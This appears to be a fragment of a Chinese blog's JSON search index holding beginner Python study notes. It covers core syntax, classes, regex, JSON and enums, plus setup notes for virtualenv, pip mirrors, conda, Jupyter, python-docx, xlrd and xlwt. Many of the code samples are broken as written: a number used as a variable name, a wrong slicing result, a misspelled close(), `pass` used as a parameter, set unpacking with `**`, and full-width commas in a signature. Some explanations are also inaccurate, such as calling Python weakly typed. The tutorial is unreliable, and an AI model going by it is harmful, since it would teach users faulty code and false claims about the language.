\u0026ndash; 浮点数 %s \u0026ndash; 字符串 %x \u0026ndash; 十六进制整数\n注意：%s永远起作用，它会把任何数据类型转换为字符串！！！\n如果字符串里面的%只是普通字符，那么使用%%来代表一个%（转义）\n还有一个格式化字符串方法：format()\n它会用传入的参数依次替换字符串内的占位符{0}、{1}\u0026hellip;\u0026hellip;..\n例如：\n\u0026lsquo;hello,{0}\u0026rsquo;.format(\u0026lsquo;world\u0026rsquo;)\nPython 3的字符串使用Unicode，直接支持多语言\n当str和bytes互相转换时，需要指定编码\n列表（list），一种有序的集合，可以随时添加和删除其中的元素，使用[]来表示，例如： abc = [\u0026lsquo;a\u0026rsquo;,\u0026lsquo;b\u0026rsquo;,\u0026lsquo;c\u0026rsquo;]\n可以使用索引来访问列表的每一个元素，索引是从0开始，例如：\nabc[0] \u0026lsquo;a\u0026rsquo;\n注意：索引超出范围时，Python会抛出一个IndexError错误，记得最后一个元素的索引是len(classmates) - 1\n如果想获取最后一个元素，不知道索引，又怕抛出错误，可以使用-1方法，例如：\nabc[-1] c\n以此类推，可以获取倒数第2个、倒数第3个，-2，-3\n因为这个列表是可变的有序的列表，所以可以在列表中追加元素到末尾，例如：\nabc.append(\u0026rsquo;d\u0026rsquo;) abc [\u0026lsquo;a\u0026rsquo;,\u0026lsquo;b\u0026rsquo;,\u0026lsquo;c\u0026rsquo;,\u0026rsquo;d\u0026rsquo;]\n当然也可以添加元素到指定的位置，例如：\nabc.insert(1,\u0026lsquo;1\u0026rsquo;) abc [\u0026lsquo;a\u0026rsquo;,\u0026lsquo;1\u0026rsquo;,\u0026lsquo;b\u0026rsquo;,\u0026lsquo;c\u0026rsquo;,\u0026rsquo;d\u0026rsquo;]\n删除列表末尾元素，使用pop()方法，例如：\nabc.pop() \u0026rsquo;d\u0026rsquo; abc [\u0026lsquo;a\u0026rsquo;,\u0026lsquo;1\u0026rsquo;,\u0026lsquo;b\u0026rsquo;,\u0026lsquo;c\u0026rsquo;]\n删除指定位置的元素，使用pop()，括号中填写索引位置\nabc.pop(1) \u0026lsquo;1\u0026rsquo; abc [\u0026lsquo;a\u0026rsquo;,\u0026lsquo;b\u0026rsquo;,\u0026lsquo;c\u0026rsquo;]\n如果想把某个元素换成其他元素，可以直接赋值给对应的索引位置，例如：\nabc[0]=\u0026lsquo;abc\u0026rsquo; abc [\u0026lsquo;abc\u0026rsquo;,\u0026lsquo;b\u0026rsquo;,\u0026lsquo;c\u0026rsquo;]\n列表里面的元素数据类型可以不同，例如：\na = [\u0026lsquo;hallo\u0026rsquo;,666,False]\n列表里面可以包含其他列表，反复嵌套，例如：\na = [\u0026lsquo;hallo\u0026rsquo;,\u0026lsquo;word\u0026rsquo;,[\u0026lsquo;123\u0026rsquo;.\u0026lsquo;abc\u0026rsquo;]]\n注意：这个a列表只有3个元素，其中的a[2]又是一个列表，可以拆开理解，例如：\n123 = [\u0026lsquo;hallo\u0026rsquo;,\u0026lsquo;word\u0026rsquo;]\nabc = [\u0026lsquo;666\u0026rsquo;,123,\u0026lsquo;abc\u0026rsquo;]\n想拿到\u0026rsquo;hallo\u0026rsquo;,可以写成123[1]或者abc1\n这个可以看成一个二维数组\n注意：当一个列表中一个元素也没有，那么就是一个空的列表，长度为0，a=[] len(a) 0\n还有一个有序列表叫元组（tuple），和list很相似，不过这个一但初始化就不能修改\n没有添加元素和删除元素的方法，但是可以正常使用获取元素的方法，获取方法和list一样，就是不能赋值成另外的元素\n那么这个列表不能改变，那么有什么意义？因为tuple不可变，所以程序更安全\n当定义一个tuple时，在定义的时候，tuple的元素就必须被确定下来\n如果要定义一个空的tuple，可以写成()\n正确定义只有一个元素的tuple，例如：\na = (1,) a 1\n为啥这样呢？因为括号()可以表示tuple，又可以表示数学公式中的小括号，防止Python按照小括号来计算，避免歧义\n关于可以\u0026rsquo;改变\u0026rsquo;的tuple：实际上改变的是list，因为tuple里面可以有list列表，所以可以\u0026rsquo;改变'01\n全局变量和局部变量\n一般在函数内部定义的变量，为局部变量，在函数外部定义的变量为全局变量\n因为作用域的问题，一般在函数内部不能真正修改到全局变量\n可以使用关键字global来处理\nabc = None def xyz(): global abc abc=\u0026quot;hallo\u0026quot; return a print(abc) // 观察这个变量和下面的变量的区别 print(xyz()) print(abc) // 观察这个变量和上面的变量的区别 nonlocal 可以用于在函数或者其他作用域中使用上层（非全局）的变量，例如：\ndef xyz(): abc=\u0026quot;hallo\u0026quot; def go(): nonlocal abc return abc return go() print(xyz()) 函数\n调用函数 函数名()\npython中内置了大量的函数，可以直接调用，例如：\nint(\u0026ldquo;666\u0026rdquo;) // 666\n因为函数本身可以理解为是一个引用类型，所以函数是可以赋值给变量，例如：\na = int a(\u0026ldquo;123\u0026rdquo;) // 123\n定义函数\ndef为定义一个函数的关键字，定义一个函数例如： def abc(i): print(i)\n如果有一个函数定义在另一个文件里，可以在当前文件的当前目录下，使用from abstest import导入函数\n空函数： def no(): pass\npass语句用于什么都不干，可以用于占位\n检查函数传入的参数\n检查数据类型可以使用isinstance()\nisinstance(1,int) // 返回布尔值，可以搭配if判断语句使用\n如果想要手动设置异常，可以使用raise语句，例如：\ndef no(i): if not isinstance(i,(int)): raise ValueError(\u0026quot;no函数的传参必须为整数\u0026quot;) no('1') 函数内部可以使用return来返回函数结果\n使用return返回不了值，主要是没有把值取出来，例如\ndef a(x): return x b = a(1) print(b) // 1 python的函数参数灵活度很高\ndef a(x,i=1) // 默认i为1\n必选参数在前，默认参数在后，当不需要默认参数可以直接覆盖掉，灵活性很高\n当参数的个数不明确时，可以把参数当成list或tuple传进来，例如：\ndef a(x): abc = 0 for a in x: abc=abc+a return abc a = a([1,2,3]) print(a) // 6 如果已经有一个list或tuple，想传进来：\ndef xyz(*x): abc = 0 for a in x: abc=abc+a return abc b = [1,3,5] a = xyz(*b) print(a) 关键字参数可以传入0或者任意个参数，而这些参数会变成一个tuple\ndef abc(i,**n): print(\u0026lsquo;i:\u0026rsquo;, i, \u0026rsquo;n:\u0026rsquo;, n)\nabc(\u0026ldquo;abc\u0026rdquo;)\n如果已经有一个tuple，想传入： b = {1,3,5} abc(**b)\n如果想限制关键字参数，例如：\ndef xyz(i,n,*,name,age): print(i,n,name,age) xyz(1,2,name=\u0026quot;hallo\u0026quot;,age=18) // 1 2 hallo 18 *后面的参数被认为是命名关键字参数，限制只能使用该参数名\n如果参数中已经有了可变参数，后面跟着的命名关键字参数就不需要*来分隔了\n命名关键字参数必须要传入参数名，否则报错，如果命名关键字参数已经有默认值，可以不用传入\n递归函数\n递归函数就是这个函数反复调用它本身，例如：\n从1加到100，1+2+3+\u0026hellip;+100\ndef xyz(n): if n == 1: return 1 return n+xyz(n-1) a = xyz(100) print(a) // 5050 尾递归优化\n递归调用次数过多，会导致堆栈溢出，溢出就是超出了最大上限的堆栈\n而解决因为递归而导致的溢出的方法就是尾递归优化\n但是Python解释器目前不支持尾递归优化，就算使用尾递归方式，也还是会导致堆栈溢出\ndef abc(n): return xyz(n,1) def xyz(n,go): if n == 1: return go return xyz(n-1,n+go) a = abc(100) print(a) 切片，顾名思义，就是取部分值，例如：\na = [1,2,3,4,5]\na[0:3] // [1,2,3]\n索引从0开始，到3为止\n支持倒数切片\na[:-1] // [1,2,3,4]\n如果开头为0，可以省略不写，倒数第一个为-1\na[::2] // [1, 3, 5] 每两个取一个\na[:] // 复制一个一样的list\ntupel也可以使用切片，但是操作结果还是tuple\na = (0,1,2,3)\na[:3] // (0,1,2)\n甚至连字符串都可以切片，结果还是字符串\na = \u0026ldquo;hallo\u0026rdquo;\na[:2] // hallo\n迭代\n读写文件\nabc = open(\u0026lsquo;1.txt\u0026rsquo;,\u0026lsquo;r\u0026rsquo;) go = abc.read(6) # 可以指定读取的数量，如果为空则读取全部 print(go) abc.clsoe() # 这个用来关闭文件\nr为只读，w为写入，a为追加，rb为以二进制方式只读，wb为以二进制方式写入，ab为以二进制方式追加\nabc = open(\u0026lsquo;1.txt\u0026rsquo;,\u0026lsquo;w\u0026rsquo;) abc.write(\u0026ldquo;hallo word!!\u0026rdquo; * 6) # 写入6条数据 abc.close()\nabc = open(\u0026lsquo;1.txt\u0026rsquo;,\u0026lsquo;r\u0026rsquo;) data = abc.readline() print(\u0026ldquo;3:%s\u0026rdquo; % data) # 读取指定行数的数据，这里为读取3行数据 abc.close()\n如果想多钱全部数据，并且返回的是一个列表，列表的每一个元素为都为每一行数据，可以： abc = open(\u0026lsquo;1.txt\u0026rsquo;, \u0026lsquo;r\u0026rsquo;) data = data.readlines() print(type(data)) for a in data: print(a) data.close()\nif判断\ndata = 10 if data \u0026gt;=18: print(\u0026quot;成年了!\u0026quot;) elif data\u0026gt;=6: print(\u0026quot;义务教育\u0026quot;) else: print(\u0026quot;未成年!!!\u0026quot;) 输入输出\ndata = int(input(\u0026quot;请输入数据\u0026quot;)) print(data) 类型转换（Python是弱类型语言，弱类型指不能对变量声明类型，只能声明数据的类型）\nint()整数,str()字符串,float()浮点数,bool()布尔数，list()列表，tuple()元组，chr()字符，unichr()Unicode字符等等\n例如：\ndata1 = \u0026quot;123\u0026quot; data2 = 123 print(isinstance(data1,str)) print(isinstance(data2,int)) data3 = int(data1) data4 = str(data2) print(isinstance(data3,int)) print(isinstance(data4,str)) 运算符\n+加，-减，*乘，/除，//取整除，%取余，**指数\n优先级和普通的算数规则一样，指数大于乘和除,取余,取整除大于加和减\n字符串不能和整数相加，必须将字符串或者整数转换，字符串为拼接，整数为算数\n赋值运算符\n=，将右边赋值给左边的变量，可以给多个变量赋值，例如：a = b = c = 666或者a,b,c = 666,123,100\na+=1 ：a=a+1，a-=1：a=a-1，a*=1：：a=a*1，a/=1：：a=a/1,a//=1: ：a=a//1,a%=1：a=a%1 ,a**=1：a=a**1\n==比较是否相等，!=比较不相等，\u0026gt;大于，\u0026lt;小于，\u0026gt;=大于等于，\u0026lt;=小于等于\nand和运算符（只有当比较全部为true才为true，否则都为false），or或运算符（只有当比较有一个为true才为true，全部为false才为false），not取反运算符（只有当比较为true才为false，当比较为false才为true）\nfor循环和while循环\nfor循环可以遍历任何以序列排序的东东，比如列表和字符串\nfor a in \u0026quot;hallo word\u0026quot;: print(a) 或者\nfot a in range(1,100): print(a) range支持3个参数，分别是起始，结束，以及步长\nwhile循环,在某个条件下为true下才会执行里面的语句\ndata = 0 while data \u0026lt; 10: print(data) data+=1 获取字符串或者列表的长度，len(data)\n查找某些内容是否在字符串的某些地方中存在（如果不存在，返回-1）,find(str,beg=0,end=len(strdata))\nstr为要查找的字符串，beg开始查找的位置，end结束查找的位置\n错误处理\n读取文件错误（当文件不存在时） try: abc = open(\u0026lsquo;data.txt\u0026rsquo;, \u0026lsquo;r\u0026rsquo;) print(abc.read()) except FileNotFoundError: print(\u0026lsquo;文件没有找到,请检查文件名称是否正确\u0026rsquo;)\ntry\u0026hellip;except语句可以处理程序运行过程中可能出现的异常\n面向对象\nclass ClassName(): 'test 定义类' name = 'hallo' age = 20 def abc(self): # 实例方法 print(self.name) print(self.age) className = ClassName() # 实例化类 className.abc() # 调用类的方法 导入类\nfrom hallo import ClassName className = ClassName() # 实例化类 className.abc() # 调用类的方法 构造函数\nclass ClassName(): name = 'hallo' age = 20 def __init__(self, name，age): self.name = name self.age = age a = ClassName('hahaha', 18) b = ClassName('abc', 100) print(a.name) print(a.__dict__) print(b.name) print(ClassName.name) class ClassName(): name = 'hallo' age = 20 sum = 0 def __init__(self, name，age): self.name = name self.age = age self.__class__.sum += 1 # 每调用一次构造函数就触发+1 print(self.__class.sum) 类方法\nclass ClassName(): sum = 0 @classmethod def Sum(cls): cls.sum += 1 print(cls.sum) ClassName.Sum() 静态方法\nclass ClassName(): ＠staticmethod def hallo(name, pass): print(name,pass) ClassName.hallo('hallo','123456') abc = ClassName() abc.hallo('hhhhh','666123') 类的成员的公开性与私有性\nclass ClassName(): name = 'hallo' age = 20 __pass = '' def __abc(self): # 给类的成员开头加上__将表示该成员是私有的，无法在类外部使用 print(self.name) print(self.age) 注意: 如果前后都有__，则表示公开的，如构造函数__init__，只有开头有__才是私有的，默认是公开的\nPython提供一种私有保护机制，当在类外部使用时，Python会将其认为是全新的，私有的是无法被更改的，例如：\nclass ClassName(): name = 'hallo' age = 20 __pass = '123' def abc(self): print(self.name) print(self.age) classname = ClassName() classname.__pass = '123456' print(classname.__dist__) print(classname._classname__pass) # 实质是访问类里面的私有__pass 可以看到原来的__pass变成了_classname__pass这个全新的名称，而显示__pass是新的'12345\u0026rsquo;\n类的继承\nclass ClassName(): def __init__(self): self.a = 123 self.b = 666 def hhh(self): print('hallo word') def gogo(self): print('hallo abc') class Hallo(ClassName): def __init__(self): super().__init__() # 调用父类的__init__，当子类重写的父类的方法后，还想调用父类原来的方法，可使用super()，该语句块实质上也是在重写的父类的__init__方法，因此需要在子类的__init__调用父类原来的__init__ def abc(self): return self.a + self.b # 继承父类的属性 def gogo(): print('hallo python') # 重写父类的gogo方法 hallo = Hallo() hallo.hhh # 调用父类的hhh方法 hallo.a # 调用父类的属性\n正则表达式\n判断某个字符串中是否存在某个字符\nimport re abc = \u0026quot;hallo word\u0026quot; xyz = re.findall(\u0026quot;hallo\u0026quot;,abc) if len(xyz) \u0026gt; 0: print(\u0026quot;字符串包含hallo\u0026quot;) else: print(\u0026quot;字符串不包含hallo\u0026quot;) 筛选出某个字符串中存在的数值\nimport re abc = \u0026quot;0hallo1 word2\u0026quot; xyz = re.findall('\\d',abc) print(xyz) \\d是元字符，\\d也是概括字符集，\\d可以使用[0-9]实现相同的效果\n字符集\nimport re abc = \u0026quot;aha, aca, ada, aaa, aea\u0026quot; xyz = re.findall('a[ha]a',abc) // xyz = re.findall('a[^ha]a',abc) // aea，^是取反 // xyz = re.findall('a[c-e]a',abc) // aca，ada，aea，c-e表示c，d，e print(xyz) // aha和aaa 数量词\nimport re abc = \u0026quot;hallo word hhhhhh\u0026quot; xyz = re.findall('[a-z]{3,6}',abc) // 数量词使用{}包括，3,6表示匹配3到6个字符 print(xyz) 贪婪与非贪婪\n匹配会最大匹配，像上面的数量词的例子，hallo并没有因为3而匹配hal，而是最大匹配，直到匹配的字符不符合才停止，这就是贪婪匹配\nimport re abc = \u0026quot;hallo word hhhhhh\u0026quot; xyz = re.findall('[a-z]{3,6}?',abc) print(xyz) 上面的例子就是非贪婪的，匹配会最小匹配\n匹配0次或无限次\nimport re abc = \u0026quot;aba abcc abccd abc\u0026quot; xyz = re.findall('abc*',abc) print(xyz) 匹配1次或无限次\nimport re abc = \u0026quot;aba abcc abccd abc\u0026quot; xyz = re.findall('abc+',abc) print(xyz) // abcc，abccd，abc 匹配0次或1次\nimport re abc = \u0026quot;aba abcc abccd abc\u0026quot; xyz = re.findall('abc?',abc) print(xyz) // abc abc abc 边界匹配符\n由于匹配只针对最小匹配，最大匹配无效，例如\nimport re abc = \u0026quot;123456789\u0026quot; xyz = re.findall('\\d{3,6}',abc) print(xyz) // 123456，明明不符合6，但是还是输出了 边界匹配符就是解决这个问题的\nimport re abc = \u0026quot;123456789\u0026quot; xyz = re.findall('^\\d{3,6}$',abc) // ^表示该位置开始匹配，$表示该位置结束匹配 print(xyz) 组\nimport re abc = \u0026quot;abc abc xyz hallo abc abc xyz word\u0026quot; xyz = re.findall('(abc)(xyz)',abc) print(xyz) json反序列化（json字符串转python字典）\nimport json abc = '{\u0026quot;name\u0026quot;: \u0026quot;admin\u0026quot;, \u0026quot;pass\u0026quot;:\u0026quot;abc123\u0026quot;}' xyz = json.loads(abc) print(type(xyz)) // dict字典 print(xyz) print(xyz['name']) print(xyz['pass']) json序列化（python字典转json字符串）\nimport json abc = [ {\u0026quot;name\u0026quot;: \u0026quot;admin\u0026quot;, \u0026quot;pass\u0026quot;:\u0026quot;abc123\u0026quot;}, {\u0026quot;name\u0026quot;: \u0026quot;root\u0026quot;, \u0026quot;pass\u0026quot;:\u0026quot;1234567\u0026quot;} ] xyz = json.dumps(abc) print(type(xyz)) // str字符串 print(xyz) 枚举\nfrom enum import Enum class ABC(Enum): ID = 1 USER = 2 PASS = 3 print(ABC.ID) print(type(ABC.ID)) // ABC类型 print(ABC.ID.name) // 枚举名称 print(ABC.ID.value) // 枚举值 print(ABC.ID == ABC.USER) // 枚举的比较，不支持大小比较，只支持等值比较 print(ABC.ID in ABC.USER) for i in ABC.__members__.items(): print(i) // 遍历枚举名称和值，如果只要枚举名称，则去掉.items() 枚举和类的区别：枚举值不可变，枚举具备防止枚举名称重复的功能\n","permalink":"https://chenjunlinabc.github.io/posts/28/","summary":"安装python\n推荐安装anaconda3（linux）\nwget https://mirrors.tuna.tsinghua.edu.cn/anaconda/archive/Anaconda3-2021.05-Linux-x86_64.sh\ndash Anaconda3-2019.10-Linux-x86_64.sh\n根据提示安装，如果还是系统自带的python\nsudo gedit ~/.bashrc\nexport PATH=\u0026quot;/home/pc/anaconda3/bin:$PATH\u0026quot;\npc为系统的用户名，请修改成自己的系统用户名，请勿在root用户下安装anaconda3\n注意：如果使用anaconda3，请设置Path环境变量，/Anaconda3，/Anaconda3/Scripts，/Anaconda3brary/bin，这3个路径都需要设置\nWindows和mac 到官网下载安装包，直接下一步安装\nmac安装了Homebrew，可以使用brew install python3\nWindows设置环境变量，PATH 安装路径\n现在liunx一般都会自带有python3,如果没有可以安装一下\napt install python3\nyun install python3\n注意一下python2.x和python3.x这两个版本是不兼容的，要区分开\n检查是否安装成功，在命令行或者终端输入python3 回车 没有反应或者报错就说明没有安装成功或者可能出问题了 Windows的一定要注意PATH系统变量\n因为Python语言从规范到解释器都是开源的，所以存在多个解释器\n例如CPython，安装python3.x时就可以直接获取到一个官方版本的解释器：CPython，因为是使用C语言开发的，所以叫CPython\n在命令行或者终端，输入输入python3 回车，如果出现了\u0026raquo;\u0026gt; 那么当前状态是python的交互模式\n在交互模式下输入exit()，退出python的交互模式\n在交互模式下执行第一个程序 print(\u0026ldquo;hello,world\u0026rdquo;)\n回车输出hello，world，这是简单的打印字符串\n除了使用交互模式执行程序，又可以使用.py，在命令行或者终端下 python hello.py，如果报错，请检查程序是否出错或者该文件是否在当前目录下\n交互模式可以直接输出结果，但是使用.py文件却不会，想要输出结果，必须使用print()打印出来\n一个好的开发工具往往可以达到事半功倍的效果，例如pycharm和Visual Studio Code，我使用的是Visual Studio Code\nprint()接受多个输出，使用“,”分隔开，也可以输出整数\n当你想让用户输入一点东西的时候，python提供了一个input()，用法如下 name = input() 将输入的值存放到一个变量里\ninput()还提供了提示功能，显示一个字符串，例如：input(\u0026ldquo;xxxxx\u0026rdquo;)\n我想知道这个变量的内容咋办，可以在交互模式下直接输入变量名，回车，就可以查看该变量的内容 又可以使用print()打印下来\n那么什么是变量呢？\n在计算机程序中，变量不仅可以为整数或浮点数，还可以是字符串\n输入是Input，输出是Output，输入输出统称为Input/Output，或者简写为IO\n以#开头的语句是注释，注释是给人看的，解释器会忽略掉注释，注释可以是任何内容\n其他每一行都是一个语句，当语句以冒号:结尾时，缩进的语句视为代码块\n注意：python区分大小写，搞错了大小写，程序可能会报错。缩进建议使用4个空格\npython能直接处理的有：整型，浮点型，字符串，布尔值，空值，变量，常量\npython可以处理整型任意大小的整数，也可以使用二进制代表整数、\n浮点型就是小数，使用科学记数法表示时，一个浮点数的小数点位置是可变的，所以小数又叫浮点型，表示很大或很小的浮点数，必须用科学计数法表示\n字符串是使用\u0026quot;\u0026ldquo;和\u0026rsquo;\u0026lsquo;括起来的任意文本，\u0026lsquo;\u0026lsquo;或\u0026quot;\u0026ldquo;本身只是一种表示方式，不是字符串的一部分","title":"python基础语法笔记"},{"content":"Virtualenv是一个能创建隔绝的独立的Python虚拟环境工具。它能够建立多个相互独立，互不影响的Python工作环境\n用来创建一套独立于系统Python环境的虚拟环境，在虚拟环境下，使用pip安装的依赖都会安装到当前的虚拟环境中，对系统的python环境没有影响\n当开发多个Python程序时当，程序1要使用3.6环境，但是程序2要使用3.8环境时，Virtualenv可以完美解决这个问题\nWindows pip install virtualenvwrapper-win\n使用pip安装Virtualenv\npip3 install virtualenv\n然后创建一个Virtualenv虚拟环境\nvirtualenv webpy #webpy为虚拟环境目录名，目录名自定义\nvirtualenv -p python环境路径 虚拟环境名 #创建指定Python环境路径的虚拟环境\nvirtualenv \u0026ndash;no-site-packages 虚拟环境名 #创建一个干净的Python虚拟环境，系统Python环境的所有第三方包不会复制过来\nvirtualenv \u0026ndash;no-site-packages \u0026ndash;python=版本名 虚拟环境名 #创建一个指定python版本的虚拟环境\nworkon # 输出所有虚拟环境名 Windows\nworkon 虚拟环境名 # 进入虚拟环境 Windows\nsource 文件夹路径 # 激活当前virtualenv并进入虚拟环境\n或者进入虚拟环境目录的bin目录，输入source activate\nWindows是在虚拟环境目录下的Scripts目录，输入activate\ndeactivate # 退出当前环境\n在虚拟环境下，使用pip安装的所有第三方包都会安装到当前的虚拟环境中，不会对系统的Python环境进行\u0026quot;污染\u0026quot;\n想要删除某一个虚拟环境时，只需要将虚拟环境的目录删除\npip使用国内源\n清华：https://pypi.tuna.tsinghua.edu.cn/simple 豆瓣：http://pypi.douban.com/simple/ 中国科技大学 https://pypi.mirrors.ustc.edu.cn/simple/\n临时使用 pip3 install -i https://pypi.tuna.tsinghua.edu.cn/simple pandas\nlinux下\n配置永久使用\ncd ~ # 进入用户目录 mkdir .pip # 新建一个隐藏文件夹 touch pip.conf # 新建一个文件 nano pip.conf # 编辑文件，这里使用nano，可以使用其他编辑器，例如vim\n在文件中添加 [global] index-url = https://pypi.tuna.tsinghua.edu.cn/simple\nwindows下\n配置永久使用\n在user目录下创建一个pip目录\n在该目录新建一个pip.ini文件\n在文件中添加 [global] index-url = https://pypi.tuna.tsinghua.edu.cn/simple [install] trusted-host = pypi.tuna.tsinghua.edu.cn\njupyter\n最简单的安装方法就是使用python的科学计算包\u0026mdash;-Anaconda\n该发行版中包含了大量的科学包，其中就附带了jupyter\n可以通过 pip 来安装 pip install jupyter notebook\n启动notebook服务器也很简单，在终端使用jupyter notebook命令就可以了‘’\n服务器的默认地址是http://localhost:8888\n通过点击“New”，来新建文件夹或者文档\n通过ctrl+c来关闭服务器\n修改jupyter默认工作路径\n在终端使用jupyter notebook \u0026ndash;generate-config\n输出一个路径的文件，修改这个文件\n找到#c.NotebookApp.notebook_dir = ''\n修改成c.NotebookApp.notebook_dir = \u0026lsquo;你想要修改到的那个工作目录的路径\u0026rsquo;\n这个工作目录必须提前创建好，否则可能出现闪退\n修改默认浏览器\n同样在终端使用jupyter notebook \u0026ndash;generate-config\n如果你已经知道这个文件在哪里可以不用，这个命令只是让我们找到jupyter的配置文件，jupyter_notebook_config.py\n找到#c.NotebookApp.notebook_dir = ''\n在它的后面加入\nimport webbrowser webbrowser.register( \u0026quot;Microsoft Edge\u0026quot;, None, webbrowser.GenericBrowser(u\u0026quot;\u0026quot;C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe\u0026quot;\u0026quot;) ) c.NotebookApp.browser = \u0026quot;Microsoft Edge\u0026quot; 路径要修改为浏览器的路径\nconda\nconda有两个，一个是anaconda，另一个是miniconda\nanaconda是集成（包含）了一些科学计算包，而miniconda是你要用什么就装什么\nMiniconda 是一个 Anaconda 的轻量级版本，默认只包含了 python 和 conda，但是可以通过 pip 和 conda 来安装所需要的包。\n这里安装的minicoda\nwget https://repo.anaconda.com/miniconda/Miniconda3-latest-Linux-x86_64.sh\nbash Miniconda3-latest-Linux-x86_64.sh\n如果是新机器，一路yes就可以了\n创建环境\nconda create \u0026ndash;name webpy python=3.7 // 建立一个名叫py37的环境，指定Python版本为Python3.7的最新版本\n激活环境\nactivate webpy // 用于Windows系统 source activate webpy // 用于mac或者linux系统\npython \u0026ndash;version // 检查Python版本\n退出当前环境 deactivate webpy // 用于Windows系统 source deactivate webpy // 用于mac或者linux系统\nconda remove \u0026ndash;name webpy \u0026ndash;all // 删除指定环境\nconda info -e // 查看系统的所有环境\nconda install numpy // 安装numpy库\nconda list // 查看已经安装好的库\nconda list -n webpy // 查看指定环境已经安装好的库\nconda install -n webpy numpy // 安装库到指定环境内\nconda update -n webpy numpy // 指定环境更新指定库\nconda remove -n webpy numpy // 删除指定环境中的指定库\nconda update anaconda // 更新anaconda\nconda update python // 更新Python\n添加国内镜像来提升下载速度（使用清华镜像站）\nconda config \u0026ndash;add channels https://mirrors.tuna.tsinghua.edu.cn/anaconda/pkgs/free/ conda config \u0026ndash;add channels https://mirrors.tuna.tsinghua.edu.cn/anaconda/pkgs/main/ conda config \u0026ndash;set show_channel_urls yes\ndocx模块（操作Word）\n导入模块 from docx import Document from docx.shared import Inches\n初始化Document对象 document = Document() Document(\u0026ldquo;1.docx\u0026rdquo;)\n写入标题，段落样式由level控制，范围0到9，默认为1 document.add_heading(text=\u0026ldquo;hallo word\u0026rdquo;,level=9)\n写入段落，段落样式由style控制 data = document.add_paragraph(text=\u0026ldquo;https://xiaochenabc123.test.com/\u0026quot;,style=None)\n插入段落到现有段落中，段落样式由style控制 data.insert_paragraph_before(text=\u0026ldquo;abcxyz\u0026rdquo;,style=None)\n插入图片,并且缩小图片英寸为1.6 document.add_picture(\u0026ldquo;1.jpg\u0026rdquo;,width=Inches(1.6))\n插入表格，rows是指定行数，cols是指定行数，style为表格样式 table = document.add_table(rows=1,cols=3,style=\u0026ldquo;Table Grid\u0026rdquo;)\n插入列表中第一行的单元格\nmaincells = table.rows[0].cells maincells[0].text = \u0026ldquo;id\u0026rdquo; maincells[1].text = \u0026ldquo;user\u0026rdquo; maincells[2].text = \u0026ldquo;pass\u0026rdquo;\n初始化 data_cells =( [1,\u0026ldquo;root\u0026rdquo;,\u0026ldquo;a\u0026rdquo;], [2,\u0026ldquo;admin\u0026rdquo;,\u0026ldquo;b\u0026rdquo;], [3,\u0026ldquo;user\u0026rdquo;,\u0026ldquo;c\u0026rdquo;] )\n写入 for item in data_cells: maincells_rows = table.add_row().cells maincells_rows[0].text = str(item[0]) maincells_rows[1].text = item[1] maincells_rows[2].text = item[2]\n保存 document.save(\u0026ldquo;hallo.docx\u0026rdquo;)\ndocx样式\n导入模块\nfrom docx import Document from docx.shared import Pt from docx.shared import RGBColor from docx.oxml.ns import qn\n初始化Document对象 document = Document(\u0026ldquo;1.docx\u0026rdquo;)\n插入页眉 header = document.sections[0].header\nheader.add_paragraph(\u0026ldquo;hallo python\u0026rdquo;)\n插入页脚 footer = document.sections[0].footer\nfooter.add_paragraph(\u0026ldquo;hallo word\u0026rdquo;)\n样式 p1 = document.add_paragraph() text1 = p1.add_run(\u0026ldquo;hallo WORD，hallo python-docx，你好，世界\u0026rdquo;)\n字体大小 text1.font.size = Pt(16)\n字体是否加粗 text1.bold = True\n字体 text1.font.name = \u0026ldquo;黑体\u0026rdquo;\n字体（只能设置中文） text1.element.rPr.rFonts.set(qn(\u0026ldquo;w:eastAsia\u0026rdquo;), \u0026ldquo;黑体\u0026rdquo;)\n字体颜色 text1.font.color.rgb = RGBColor(0, 0, 255)\n斜体 text1.italic = True\n下划线 text1.underline = True\n保存 document.save(\u0026ldquo;hallo.docx\u0026rdquo;)\nxlrd模块+xlwt模块(操作xlsx)\n注意：xlrd模块只有低于或等于1.2.0版本才能操作xlsx文件，高于该版本只支持xls文件，或者使用openpyxl代替xlrd模块\n导入xlrd模块 import xlrd\n加载1.xlsx data = xlrd.open_workbook(\u0026ldquo;1.xlsx\u0026rdquo;)\n判断是否加载成功，可以指定第几张工作表，0为第一个工作表 print(data.sheet_loaded(0)) #True\n卸载指定工作表 data.unload_sheet(0)\n输出全部工作表名字（Sheet） print(data.sheet_names())\n输出工作表的数量 print(data.nsheets)\n输出全部所有sheet对象 print(data.sheets())\n将指定工作表索引到变量中 main = data.sheet_by_index(0)\n名字索引到变量中 main = data.sheet_by_name(\u0026ldquo;Sheet1\u0026rdquo;)\n输出工作表名字 print(main.name)\n输出工作表有效总行数 print(main.nrows)\n输出工作表有效总列数 print(main.ncols)\n输出工作表有效总列数 print(main.row_len(1))\n输出单元格值类型和内容 print(main.row(0))\n数据类型： 空：0 字符串：1 数字：2 日期：3 布尔：4 error：5\n输出第1行第二列的单元格内容 print(main.row(0)[1].value)\n输出第二列表的全部内容 print(main.col(1))\n输出第一行的内容 print(main.row_values(0))\n输出单元格数据类型 print(main.row_types(0))\n输出第一列的内容 print(main.col_values(0))\n输出第二列的数据类型 print(main.col_types(1))\n输出第6行第一列内容和数据类型 print(main.cell(5,0))\n输出第6行第一列内容的数据类型 print(main.cell(5,0).ctype)\n输出第6行第一列内容 print(main.cell(5,0).value)\n利用xlwt模块写\n导入xlwt模块 import xlwt\nxlwt模块不支持xlsx，只支持xls\n新建workbook，字符集为utf-8 hallo = xlwt.Workbook(encoding=\u0026ldquo;utf8\u0026rdquo;)\n新建sheet abc = hallo.add_sheet(\u0026ldquo;Sheet1\u0026rdquo;)\n第1行到第3行和第1列到第9列合并并且写入hallo word abc.write_merge(0,2,0,8,\u0026ldquo;hallo word\u0026rdquo;)\n在第4行第1列写入hallo word abc.write(3,0,\u0026ldquo;hallo word\u0026rdquo;)\n批量写入 data = ((1,\u0026ldquo;hallo\u0026rdquo;,\u0026ldquo;abc\u0026rdquo;,\u0026ldquo;xyz\u0026rdquo;,123),(1,\u0026ldquo;hallo\u0026rdquo;,\u0026ldquo;abc\u0026rdquo;,\u0026ldquo;xyz\u0026rdquo;,123))\nfor i,a in enumerate(data): for q,s in enumerate(a): abc.write(i,q,s) 在第1行第1列写入图片，只支持bmp格式 abc.insert_bitmap(\u0026ldquo;1.bmp\u0026rdquo;, 0, 0)\n保存 hallo.save(\u0026ldquo;hallo.xls\u0026rdquo;)\n样式\n初始化 style = xlwt.XFStyle()\n初始化样式 stylefont = xlwt.Font()\n名称 stylefont.name = 